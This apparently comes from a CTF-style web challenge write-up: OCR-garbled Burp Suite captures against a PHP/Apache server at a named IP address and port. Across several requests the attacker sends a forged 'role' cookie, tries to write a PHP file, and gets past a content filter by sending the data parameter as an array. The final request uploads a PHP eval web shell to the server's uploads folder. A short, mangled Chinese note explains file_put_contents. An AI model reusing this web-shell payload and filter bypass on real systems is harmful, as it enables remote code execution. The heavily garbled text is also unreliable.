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GET f HTTR/L.1

Host: 106.75.72.168: 2222
User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie: PHPSESSIC=m&rumsipvdugff] @) 7vl2bd754% role=Zjol01J0aHImZyI7
Upgrade-Insecure-Requests: 1
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Request Response

Powered-By: PHP/5.5.9-1ubuntu4, 22
y: Accept-Encoding

ept: text/htnl,application/xhtml+xml,application/xnl;g=0.9,%/*;q=0.8

ET / HTTP/1.1 A 1 HTTP/1.1 200 OK
t:106,75,72, 168: 2222 2 Date: Fri, 03 Jul 2020 10:04: 07 GHMT
3
4
ept-Language: en-US. en:g=0.5 s
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r-Agent: Mozillas5, 0 (X11; Linux x86_64; rvi68,0) Gecko/20100101 Firefox /68,0 Server: Apache/2, 4,7 (Ubuntul
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& Accept-Encoding: gzip, deflate & Content-Length: 210
Connection: close 7 Connection: close
Cookie: PHPSESSID=n&rumsipvdugffisj7vl 2bd754; role=Zjol0iJucXp2ysI7 8 Content-Type: text/html
Upgrade-Insecure-Requests: 1 9
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<! DOCTYPE hitml=
11 <html=>
12 <head=
3 <title=
</title=
14 </head=
15 <body>
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16 <l-- $filename=§_POST[ ' filename']: $data=§_POST[ 'data']:
</body=
17 =</html=
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Raw | Params | Headers | Hex Raw | Headers | Hex | Render

1 GET /HTTP/1.1 A 1 HTTP/1.1 200 OK

2 Host: 106,.75.72, 168: 2222 r 2 Date: Fri, 03 Jul 2020 10:04: 07 GHMT

3 User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:68.0) Gecko /20100101 Firefox/68.0 3 Server: Apachef2.4.7 (Ubuntu)

4 Accept: text/htnl,application/xhtml+xml,application/xnl ;g=0.9,*%/*;q=0.8 4 X-Powered-By: PHP/5.5,9-1ubuntud, 22

S Accept-Language: en-US,en;g=0.5 S Vary: Accept-Encoding

& Accept-Encoding: gzip, deflate & Content-Length: 210

Connection: close Connection: close

8 Cookie: PHPSESSID=m6runmsipvdugffjgj7vl 2bd754; role=7jol0iJucXp2YSI7| 8 Content-Type: text/html
9 Upgrade-Insecure-Requests: 1 9
10 10 <!DOCTYFE html=
11 11 <html=
12 <head=
13 <title>
</title=

14 </head=
15 <hody=

16 <!-- §filename=§_POST[ 'filename']; $data=$_POSTI 'data']l;
</body=

17 </html=
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<html=
<head=
<titles</title>
</head=
<body>
<!-- $filename = $ POST('filename']; $data = $ POST['data']; --:
</html=>
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Raw | Params | Headers | Hex w | Headers | Hex | Render

POST / HTTP/1.1 .
Host: 106.75.72.168; 2222

User-Agent : Mozilla/5.0 (¥11; Linux x86_64; rv:68. 0] Gecko/2010010L Firefox/68.0
Accept: text/html,application/xhtml+xml.application/xml:q=0.9, +/+:q=0.8
Accept -Language: en-US,en;q=0.5

Accept -Encoding: gzip, deflate

7 Connection: close

© Cookie: role=Zjol0iJuckp2vSI7

S Upgrade-Insecure-Requests: 1

HTTP/1.1 260 0K

Date: Fri, 03 Jul 202010:33;15 GMT
Server: Apache/2.4.7 ( Ubuntu)
¥-Powered-By: PHP/5.5.9-lubuntud, 22
Vary: Accept-Encoding
Content-Length: 144

Connection: close

Content -Type: text/htnl
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10 Content-Length: 21 10 =!DOCTYPE html>

11 Content-Type: application/x-www-form-urlencoded 11 <htnl>

12 12 <heads

13 filename=1.php&data=1 13 <titles
=/titles

14 =/head=
15 <body>

16 your fileisin . fuploads/6f69d0caa6aBE59cd97561b9436ec76d1 . php
</body=>

17 </html>
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2 Host: 106.75.72.168:2222

3 User-Agent: Mozilla/5.00%11; Linux x86_64; rv:68,0) Gecko/20100101 Firefox/68.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

5 Accept-Language: en-US,en;g=0.5

& Accept-Enceding: gzip, deflate

7 Connection: close

5 Cookie: role=Zj0l0iJucXp2¥SI7

9 Upgrade-Insecure-Requests: 1
10 Content-Length: 47
11 Content-Type: application/x-www-Torm-urlencoded

12
13 filename=1.phpadata=<?php @eval (§_POST[ 'a']); 7=l
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Hequest Hesponse
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 POST /HTTP/1.1 A 1 HTTR/1.1 200 0K

r 2 Date: Fri, 03Jul 202010:37:12 GMT

3 Server: Apaches2.4.7 (Ubuntu)

4 ¥-Powered-By: PHP/5.5.9-1lubuntud, 22
S Vary: Accept-Encoding

& Content-Length: 74

7 Connection: close

5 Content-Type: text/html

9

10 <!DOCTYPE html>

11 <html=>

12 <heads

13 <title=
=ftitle=

14 </head=
15 <body>
16 Mo Mo No'!
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file_put_contents() BREIE— PN FHERESAEH.

5ixxiEmR fopen(), fwrite() LUK fclose() ThEE—#E.
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file put contents(file,data,mode, context)
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filename=1.php&data[]=<?php @eval($_POST['a']);?>



Request

Raw | Params | Headers | Hex

Response

Raw [ Headers | Hex | Render

POST / P/1.1
Z 06,75, 72.168: 2222

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68,0) Gecko/20100101 Firefox/68.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/+;q=0.8

S Accept-Language: en-US,en;g=0.5

& Accept-Encoding: gzip, deflate

role=7j0l0iJucXp2YSI7

SInsecure-Reg 3
Content-Length: 49

Content -Type: application/s-www-form-urlencoded
* S—

L filename=1.php&datal1==7php @eval (§_POST[ 'a']); 7=
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T

HTTP/1.1 208 OK

) Date: Fri, 03 Jul 2020 10:43: 38 GHT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5. 5. 9-1ubuntud, 22
5 Vary: Accept-Encoding
Content-Length: 144

Connection: close

Content-Type: text /html

<! DOCTYPE html=>
<html=
<head>
3 <title>
</title>
14 <fhead>

|

1 your file is in . fuploads/6359f061457bb143ebEaabbc2409c391cl . php
</body>

1l </html>
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